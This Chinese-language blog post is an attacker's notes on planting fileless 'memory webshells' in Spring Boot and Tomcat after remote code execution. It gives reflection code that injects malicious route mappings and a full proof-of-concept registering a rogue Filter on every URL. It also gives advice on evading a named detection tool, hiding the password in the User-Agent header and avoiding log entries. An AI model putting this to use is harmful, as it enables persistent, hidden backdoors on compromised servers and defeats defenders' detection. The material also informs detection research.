Tomcat内存马

存货文,积了好久,懒得发233,今天发下。

本文写的很垃圾,建议学过基本的之后,当笔记看就好了。本文写了点可能比较新奇的东西。

想认真学的还是去看文末的Ref吧。

前提:和回显类似。得先RCE

好处:规避静态文件的查杀

原理:Java Web不像apache + php模式,每一次请求都是生成新的php实例。Java Web是长期运行的(同理的还有.net、go、python这些)。Web程序必定会有相关的变量、逻辑进行请求分发的操作。当我们RCE之后,若能控制进行请求分发的变量,便能控制请求分发的逻辑。

常见的操作有:新增控制器、修改控制器、添加拦截器等

步骤

  1. 构造恶意类
  2. 获取上下文对象
  3. 拿到Filter、Servlet这些东西的注册类
  4. 往注册类里注册恶意类

SpringBoot

本例环境为:SpringBoot2.6.1

获取上下文对象

上下文对象中存放了大量的bean。大部分是Spring运行依赖的类对象。拿到这些bean。相当于成功了一半。

getAttribute方式

1
2
3
4
5
6
7
8
ServletRequestAttributes requestAttributes = (ServletRequestAttributes)RequestContextHolder.getRequestAttributes();
HttpServletRequest httpServletRequest = requestAttributes.getRequest();
(WebApplicationContext)servletContext1.getAttribute(XXXX);
/*
存储WebApplicationContext的属性
org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE
org.springframework.web.servlet.DispatcherServlet.CONTEXT
*/
1
2
3
4
5
6
7
8
ServletRequestAttributes requestAttributes1 = (ServletRequestAttributes)RequestContextHolder.getRequestAttributes();
ServletContext servletContext1 = requestAttributes1.getRequest().getServletContext();
(WebApplicationContext)servletContext1.getAttribute(XXXX);
/*
存储WebApplicationContext的属性
org.springframework.web.context.WebApplicationContext.ROOT
org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet
*/

WebApplicationContextUtils方式

1
2
3
4
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
ServletContext servletContext = request.getServletContext();
WebApplicationContext webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);

ContextLoader方式

这个我在SpringBoot里用,返回的是Null。。。。

1
WebApplicationContext currentWebApplicationContext = ContextLoader.getCurrentWebApplicationContext();

注意事项:

以上拿到的WebApplicationContext都是AnnotationConfigServletWebServerApplicationContext的实例

但是,getBeanFactory()GenericApplicationContext类中。所以要类型转换一下。

关于IOC

Spring IOC容器(BeanFactory)中,Bean对象存放的方式为:

获取属性的操作在:DefaultListableBeanFactory#getBean

实际属性的位置在:DefaultSingletonBeanRegistry.singletonObjects

手动注册Controller

从源码角度看:请求分发入口 DispatcherServlet#doDispatch

关键操作

1
2
3
4
5
6
7
processedRequest = checkMultipart(request); //组装请求为Multipart

mappedHandler = getHandler(processedRequest); //从IOC中找bean[!]

HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); //实际调用Controller

getHandler()方法

getHandler()是比较重要的方法。主要逻辑是根据请求url,找对应的处理器,也就是HandlerMapping的适配。

HandlerMapping如下

1
2
3
4
5
RequestMappingHandlerMapping
BeanNameUrlHandlerMapping
RouterFunctionMapping
SimpleUrlHandlerMapping
WelcomePageHandlerMapping

HandlerMapping#getHandler() 会调用AbstractHandlerMapping#getHandlerInternal()。对于这个方法的实现。有可分为三个抽象类

1
2
3
4
5
6
7
8
9
10
11
AbstractHandlerMethodMapping
RequestMappingHandlerMapping

AbstractUrlHandlerMapping
BeanNameUrlHandlerMapping
SimpleUrlHandlerMapping
WelcomePageHandlerMapping

RouterFunctionMapping
根据this.routerFunction.route() 返回HandlerFunction
//有好多lambda。可以当一个难检测🐎?

深究后可以发现,前两个抽象类都存在着路由映射属性。而RouterFunctionMapping比较特殊,后文说。

AbstractHandlerMethodMappingAbstractUrlHandlerMapping大同小异。只是最后的映射Map不一样而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
//AbstractHandlerMethodMapping
//Map名为mappingRegistry
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request){
List<T> directPathMatches = this.mappingRegistry.getMappingsByDirectPath(lookupPath);
.....
}

//AbstractUrlHandlerMapping
//Map名为handlerMap
private Object getDirectMatch(String urlPath, HttpServletRequest request) {
Object handler = this.handlerMap.get(urlPath);
.....
}

注入马的思路:操作路由映射的Map。控制程序的路由走向。将路由映射到恶意类的恶意方法中

那马为什么要加内存二字呢?因为我们可以通过defineClass(),直接将字节码还原成对象实例。无文件落地。

找Map赋值位置的思路:找到Map变量,搜索赋值点。最终找到这两个方法,对于上文的两个抽象类。

1
2
AbstractHandlerMethodMapping$MappingRegistry#register(T mapping, Object handler, Method method)
AbstractUrlHandlerMapping#registerHandler(String urlPath, Object handler)

那接下来简单了。调用这两接口。就可以注册任意的路由映射了。

AbstractHandlerMethodMapping注册内存马

AbstractHandlerMethodMapping的注册固然可以使用registerMapping()。但是他会记录一个logger。不优雅

AbstractHandlerMethodMapping#registerMapping

1
2
3
4
5
6
7
public void registerMapping(T mapping, Object handler, Method method) {
if (logger.isTraceEnabled()) {
//记录日志操作
logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}

直接调用this.mappingRegistry.register,更直接。

1
public void register(T mapping, Object handler, Method method)

具体的参数和类型,我们可以参考其子类。也就是RequestMappingHandlerMapping#registerMapping

1
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)

看看正常的controller。其RequestMappingInfo长啥样。可以在AbstractHandlerMethodMapping#addMatchingMappings看到。

RequestMappingInfo中设置了pathPatternsCondition的值。仿着写,就对了。如果patternsCondition设置了值,会有一个坑:SpringMVC在 AbstractHandlerMapping#initLookupPath中,移除了UrlPathHelper.PATH_ATTRIBUTE属性。但是在UrlPathHelper#getResolvedLookupPath又拿了一次UrlPathHelper.PATH_ATTRIBUTE属性。会被Assert.notNull()终止。

为了避坑,还是仿着正常格式来构造吧。

AbstractUrlHandlerMapping注册内存马

AbstractHandlerMethodMapping注册还简单。看到他的注册方法

1
protected void registerHandler(String urlPath, Object handler)

没啥难的,

RouterFunctionMapping注册内存马

十分危险。RouterFunctionMapping只有一个routerFunction,普通的SpringBoot项目这个属性是null,但如果攻击的程序有使用RouterFunctionMapping,很可能会崩

看下RouterFunctionMapping#getHandlerInternal

1
2
3
4
5
6
7
8
9
protected Object getHandlerInternal(HttpServletRequest servletRequest) throws Exception {
if (this.routerFunction != null) {
//[!]调用this.routerFunction.route()
HandlerFunction<?> handlerFunction = this.routerFunction.route(request).orElse(null);
}
else {
return null;
}
}

RouterFunctionMapping的继承类,找到一个RouterFunctions$ResourcesRouterFunction

该类有个Function lookupFunction属性。可以存放lambda。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static class ResourcesRouterFunction extends  AbstractRouterFunction<ServerResponse> {
//[!]
private final Function<ServerRequest, Optional<Resource>> lookupFunction;

public ResourcesRouterFunction(Function<ServerRequest, Optional<Resource>> lookupFunction) {
Assert.notNull(lookupFunction, "Function must not be null");
this.lookupFunction = lookupFunction;
}

/*
* 会被调用的route()
*/
@Override
public Optional<HandlerFunction<ServerResponse>> route(ServerRequest request) {
return this.lookupFunction.apply(request).map(ResourceHandlerFunction::new);
}
}}

是不是我们可以在自定义个恶意的lambda类呢?是的,完全可以。

实测是能用的。

关于内存马检测

看了下4ra1n师傅的检测。似乎只检测了RequestMappingHandlerMapping里的mappingRegistry - 2021.12.06

https://github.com/EmYiQing/SpringMemShell/blob/master/src/main/java/com/example/spring/TestController.java

那我们可以通过注入AbstractUrlHandlerMappingRouterFunctionMapping内存马即可规避检测

隐蔽方式

把password放在User-Agent上

Tomcat

参考三梦师傅的文。(看文,好像师傅本来想通过注册一个优先级最高的Filter,来绕过Filter加载顺序拿不到response的问题,达到回显的效果。但,要注册Filter的前提是得拿到一个response。这就无了。所以,把他改成无文件内存马,更佳)

Filter

注册Filter

在Tomcat运行状态下,直接addFilter()是不得行的。会报错

1
java.lang.IllegalStateException: Filters can not be added to context /tomcat1_war_exploded as the context has been initialised

跟进去报错的调用栈。发现抛错代码如下,十分简单粗暴

1
2
3
4
5
6
7
8
9
10
private FilterRegistration.Dynamic addFilter(String filterName,
String filterClass, Filter filter) throws IllegalStateException {
.....
if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
//TODO Spec breaking enhancement to ignore this restriction
throw new IllegalStateException(
sm.getString("applicationContext.addFilter.ise",
getContextPath()));
}
}

那么动态注册Filter的思路也很明显了:反射修改context.getState()的值,让其值为LifecycleState.STARTING_PREP。就可以正常执行addFilter()的逻辑了

反射路径:

1
2
final ApplicationContext.context
LifecycleBase.state

添加Filter的程序逻辑

这样添加好Filter就能用了嘛?不,并不可以。结合前面我们需要反射修改LifecycleBase.state可推测。添加Filter的功能本来就不是在Tomcat启动中使用的。所以,我们还得简单看一下Filter的调用逻辑,看看Tomcat是在哪里保存Filter信息,怎么调用Filter的。如果可以,我们就通过反射修改存储FIiter信息的属性。

根据调用栈可知,Tomcat是通过调用ApplicationFilterChain来调用每一个Filter的。ApplicationFilterChain之前是由StandardWrapperValve#invoke()调用的。我们点到StandardWrapperValve#invoke()里头看看

可以发现,对于每一个请求,Tomcat都会在StandardWrapperValve#invoke()中新建一个ApplicationFilterChain来执行Filter chain操作。

1
2
3
4
5
6
7
public final void invoke(Request request, Response response){
......
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
//拿到filterChain后,执行doFilter()走Filter流程
filterChain.doFilter(request.getRequest(), response.getResponse());
......
}

看进新建的ApplicationFilterFactory.createFilterChain(),该方法依据context上下文变量查找对应的Filter。若filterMap在上下文中有存放,就会新建一个ApplicationFilterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

.....x
//filterMaps就是上文通过addFilter(),插入的Filter信息表
for (FilterMap filterMap : filterMaps) {
//调用的Filter在上下文中不存在,就不会存入filterChain中,也就不会返回该filter了
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
continue;
}

//调用的Filter在上下文中存在,存入filterChain
filterChain.addFilter(filterConfig);
}
.....
return filterChain;
}

Filter生效

要让Filter真正生效,需要修改StandardContext.filterConfigs的属性。往里头插入新增的Filter。但这个暂且没看到哪里有赋值点。目测只能手动反射,为其新增一个Filter

在Debug中看到ApplicationFilterConfig的属性有点复杂,怎么构造呢?去看看源码中ApplicationFilterConfig是怎么被构建的,找找是否有Factory类或者create方法。找到*StandardContext#filterStart()*。发现直接new就好了。

1
2
3
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);

看来还需要构造多一个FilterDef。这个类没那么复杂,直接调用setXX()就可以完成属性赋值了。

完整POC

思路:

  1. 临时修改LifecycleBase.stateLifecycleState.STARTING_PREP
  2. 通过ApplicationContextFacade.addFilter()注册一个Filter。
  3. 注册后设置Filter,指定其匹配路径
  4. 反射修改StandardContext.filterConfigs,新增Filter,使前面注册的Filter生效
  5. 最后记得将LifecycleBase.state改回LifecycleState.STARTED

定义一个FIlter。但不在web.xml中配置

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.evil;
.....
public class EF implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.getWriter().write("Evil Filter Hook");
}
@Override
public void destroy() {}
}

Servlet中动态注册Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//[+] 获取需要的属性StandardContext
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) getServletContext();
Field contextField = ApplicationContextFacade.class.getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(applicationContextFacade);

Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//[+] 临时修改LifecycleBase.state
Field stateFiled = LifecycleBase.class.getDeclaredField("state");
stateFiled.setAccessible(true);
stateFiled.set(standardContext, LifecycleState.STARTING_PREP);

//[+] 注册Filter
Filter ef = new EF();
//第一次注册就会返回FilterRegistration.Dynamic
FilterRegistration.Dynamic filterRegistration = applicationContextFacade.addFilter("ef", ef);
//参数
//EnumSet<DispatcherType>: 表示拦截类型
//boolean: 在所有Filter之后/之前执行
//String[]: 匹配url
EnumSet<DispatcherType> typeEnumSet = EnumSet.of(DispatcherType.REQUEST);
filterRegistration.addMappingForUrlPatterns(typeEnumSet, false, new String[]{"/*"});

//[+] 利用前文获取的StandardContext。强行反射修改filterConfig
Field filterConfigField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigField.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfig = (HashMap) filterConfigField.get(standardContext);
System.out.println(filterConfig);

FilterDef filterDef = new FilterDef();
filterDef.setFilter(ef);
filterDef.setFilterName("ef");
filterDef.setFilterClass(ef.getClass().getName());
filterDef.setAsyncSupported("false");

Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

filterConfig.put("ef", applicationFilterConfig);

//[+] 重置LifecycleBase.state
stateFiled.set(standardContext, LifecycleState.STARTED);

效果:

实战内存马角度

三梦师傅用的是“修改程序逻辑,初始化静态变量”这种方式拿request,然后顺利拿到context的。但由于这种方式对于Filter类型的程序不太友好,下文使用“Tomcat7另一个静态变量”这种方式,来获取context。

打内存马,最常用的就是defineClass()。那我们来实现下。整一个具有CC11依赖的Tomcat。

CC11是用TemplatesImpldefineClass()的。但是这里有一个小坑。我们来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void defineTransletClasses()
throws TransformerConfigurationException {

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
//新建了一个ClassLoader
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

for (int i = 0; i < classCount; i++) {
//使用新建的ClassLoader来defineClass()
_class[i] = loader.defineClass(_bytecodes[i]);
}
}

Java中类加载机制是双亲委派,一般的例如new XXX()这种,都是用的Java启动时创建的ClassLoader来加载的。类实例会保存在ClassLoader中。但我们看到TemplatesImpl,它去defineClass()是用新建的ClassLoader加载类。类实例只会保存在这个新建的ClassLoader中。但找了一圈,并没有发现程序其他地方有存储这个loader的点。所以如果我们用TemplatesImpl进行了defineClass(),是没法在外面用Class.forName()拿到加载的类实例的。

要动态注册FIlter,需要ApplicaationContext,但我们手头只有StandContenxt。这个可以不可以加Filter呢?

直接断点打在Filter中,回溯看。找到*ApplicationFilterChain#internalDoFilter()*。很明显可以看到几个关键属性:filters, filterConfig

1
2
3
4
5
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = filterConfig.getFilter();
filter.doFilter(request, response, this);
}

继续往前看,这些东西是哪里被赋值的呢?找到*StandardWrapperValve#invoke()*。有一行:Filter的调用都是根据filterChain的值,进行依次调用的。

1
2
3
 ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());

找找filterChain如何被赋值的

ApplicationFilterFactory#createFilterChain()

1
2
3
4
5
6
7
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
for (FilterMap filterMap : filterMaps) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
filterChain.addFilter(filterConfig);
}

在*filterChain.addFilter()*中,即存在本小节开头说的,几个关键属性的赋值

1
filters[n++] = filterConfig;

看到这里。可以整理出流程:

  1. 在每一个request进来时,都会进入StandardWrapperValve#invoke()。该方法会调用ApplicationFilterFactory.createFilterChain组装filterChain
  2. filterChain根据StandardContext.filterMapsStandardContext.filterConfigs组装
  3. 组装完毕后,根据filterChain,依次进行Filter的调用

那么我们的控制思路就是:由于可获取StandardContext,基于StandardContext反射修改filterMaps。以此将内存马打入

为了适配不同版本的Tomcat。需要额外进行些处理。

Tomcat6

FilterDef有点不一样,没用setFilter()。他是根据FIlterClass动态加载的

ApplicationFilterFactory#createFilterChain()

1
2
isCometFilter = filterConfig.getFilter() instanceof CometFilter; //根据filterDef.filterClass动态ClassLoader加载
filterChain.addFilter(filterConfig);

直接反射设置ApplicationFilterConfig.filter不就可了嘛

Tomcat7

包名不一样

1
import org.apache.catalina.deploy.FilterDef;

Tomcat8/9

包名不一样

1
import org.apache.tomcat.util.descriptor.web.FilterDef;

Tomcat10

整个包名都变了,由javax.servlet.*变成了jakarta.servlet.*。暂时没想到该如何通用。只能单独另开一个内存马payload.

基于前文 ”Tomcat7另一个静态变量“ 中。可以发现,catalina变量中存放了很多有价值的信息。在这其中我们能拿到任意Webapp的type=Manager的信息。

1
2
"context=/tomcat1_war_exploded,host=localhost,type=Manager" -> {com.sun.jmx.mbeanserver.NamedObject@3592} 
"context=/manager,host=localhost,type=Manager" -> {com.sun.jmx.mbeanserver.NamedObject@3676}

里头的resource.context.context就是当前webapp的ApplicationContext

要拿到当前webapp的ApplicationContext,我们还要简单判断一下当前webapp的context path。不然会拿到其他webapp的ApplicationContext

可以基于前文”Tomcat7另一个静态变量“ 的代码,通过RequestGroupInfo获取当前请求路径,拼接获取webapp的type=Manager信息。

Servlet

建好一个Servlet打断点往上看。看看Tomcat内部是如何处理一个Servlet的

ApplicationFilterChain#internalDoFilter()

Servlet实例保存在servlet中,追溯servlet赋值点

1
servlet.service(request, response);

StandardWrapperValve#invoke()

但其实wrapper里早就有Servlet的实例了。继续追溯wrapper的赋值点

1
servlet = wrapper.allocate();

StandardWrapperValve#invoke()

实际是ValveBase.container早就存放了。

1
StandardWrapper wrapper = (StandardWrapper) getContainer();
1
request.mappingData.wrapper

代码实现

代码丢github备份了。写的很烂就不公开了。想瞄瞄的话问小盘盘要吧。

Ref

基于内存 Webshell 的无文件攻击技术研究

基于tomcat的内存 Webshell 无文件攻击技术